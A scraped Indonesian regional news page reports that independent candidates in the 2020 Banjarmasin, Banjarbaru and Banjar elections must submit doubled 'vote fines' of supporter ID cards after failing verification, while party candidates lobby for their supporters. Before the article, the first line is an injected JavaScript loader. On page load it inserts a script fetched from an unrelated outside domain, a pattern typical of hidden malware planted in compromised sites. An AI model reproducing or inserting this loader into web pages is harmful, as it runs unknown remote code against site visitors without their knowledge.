(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

‘Sakit Kepala’ Petarung Independen di Pilkada 2020, Calon Parpol Mulai Lobi Limpahan Suara!


KANALKALIMANTAN.COM, BANJARBARU – Pilkada di tengah Covid-19, menjadi beban tersendiri bagi para petarung di jalur independen. Denda hingga puluhan ribu suara harus mereka bayar akibat adanya dukungan tak memenuhi syarat dalam tempo beberapa hari, terasa muskil. Apalagi di tengah pandemi saat ini.

Nasib ini tak hanya dialami bakal calon jalur independen di Banjarmasin saja. Tapi juga di Banjarbaru dan Kabupaten Banjar juga mengalami nasib sama.

Sebelumnya, pasangan calon perseorangan di Pilkada Banjarmasin, Khairul Saleh – Habib Ali Al Habsyi harus melengkapi syarat dukungan untuk maju di Piwali Banjarmasin. Pada rapat rekapitulasi hasil verifikasi faktual untuk bakal calon perseorangan, Senin (20/7/2020) sore, pasangan ini hanya memperoleh syarat dukungan yang memenuhi syarat sebanyak 35.433 dukungan.

Jumlah tersebut belum memenuhi syarat minimal 38.003 dukungan. Ihwal ini, Bawaslu Kota Banjarmasin pun angkat bicara. Kordiv Pengawasan dan Hubungan Lembaga (PHL) Bawaslu Kota Banjarmasin Rahmadiansyah mengatakan, kekurangan dukungan sebanyak 2.570 dukungan dikali dua ini harus segera dipenuhi oleh pasangan ini.

 

Baca juga :

Jika ingin tetap maju di Pilwali Banjarmasin melalui jalur perseorangan.
Sehingga, jika ingin menyiapkan kekurangan dukungan tersebut, minimal paslon Khairul-Ali harus melengkapi syarat dukungan sebanyak 5.140 dukungan. Tentunya, harus tetap menjalani verifikasi lagi oleh KPU Kota Banjarmasin melalui PPK (Panitia Pemilihan Kecamatan) yang telah ditunjuk untuk melakukan verifikasi faktual di lapangan.

Pun demikian dengansatu-satunya harapan penantang incumbent Nadjmi-Jaya di jalur independen yakni duet Edy Saifuddin-Astina Zuraidah. Mereka pun terancam tersandung dari pencalonan. Hasil verifikasi faktual dan rekapitulasi dukungan yang digelar KPU Banjarbaru menyatakan adanya kekurangan dukungan lebih dari 50 persen.

Konsekwensinya, mereka pun harus bisa memenuhi ‘denda suara’ sebanyak 18.249 dukungan KTP. Jumlah yang lebih besar dari syarat awal yang mesti dia setor ke KPU yang hanya dipatok 16.000 suara. Sebuah misi nyaris tak masuk akal bagi mereka untuk bisa mengejar dalam jangka perbaikan saat ini.

Baca juga :

KPU Banjarbaru telah mengakhiri seluruh tahapan verifikasi faktual dan rekapitulasi dukungan calon perseorangan (independen) yang akan mengikuti kontesasi Pilkada 2020. Sebagai satu-satunya calon yang maju di jalur independen, Edy-Astina pun mendapat rapor dari hasil rekapitulasi.

Namun, Edy Saifuddin, menyatakan pihaknya tetap optimis memenuhi kekurangan syarat dukungan tersebut. Permasalahan ini sendiri tidak membuat dirinya goyah untuk masuk di panggung Pilkada Banjarbaru melalui jalur independen. “Insyaallah, kami lagi berupaya semaksimal mungkin,” tegasnya.

Di Kabupaten Banjar, tiga pasangan calon kepala daerah jalur perseorangan juga harus membayar denda suara. KPU Kabupaten Banjar memberi deadline pada 27 Juli 2020 sebagai batas akhir penyerahan syarat KTP dukungan perbaikan.

Hasil rapat pleno KPU Banjar memutuskan KTP dukungan terhadap Andin-Guru Oton sebanyak 28.678 yang memenuhi syarat, masih ada kekurangan 6.559 KTP dukungan, sehingga ‘denda’ perbaikan syarat KTP dukungan sebanyak 13.118.

Sementara Mada Teruna-Ferryansyah memenuhi syarat 17.976 dengan kekurangan 17.261, masih perlu perbaikan sebanyak 34.522 KTP dukungan.

Calon independen lainnya Yunani-Sidiq yang memenuhi syarat 22.442, kekurangan 12.795, karena ‘denda’ kekurangan dikali dua maka masih memerlukan tambahan perbaikan 25.590 KTP dukungan.

Dari ketiga pasangan calon kepala daerah jalur perseorangan itu, pasangan Andin-Guru Oton dan Yunani-Suriani menerima hasil rapat pleno KPU Kabupaten Banjar. Sedangkan pasangan Mada Teruna-Ferryansyah menyatakan menolak keputusan hasil rapat pleno.

Dari kekurangan tersebut, tentu saja tak mudah bagi mereka. Sehingga skenario terburuk jika mereka harus mengibarkan ‘bendera putih’ pencalonan pun menjadi terbuka dalam lima hari ke depan.

Di sisi lain, puluhan ribu dukungan yang dikantongi calon independen tentunya menjadi lirikan para kandidat jalur parpol. Informasi yang dihimpun Kanalkalimantan.com, lobi-lobi antar kandidat pun mulai intens dilakukan terkait pengalihan dukungan jika jago independen tak berhasil lolos.(Kanalkalimantan.com/tim)

 

Reporter : Tim
Editor : Cell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.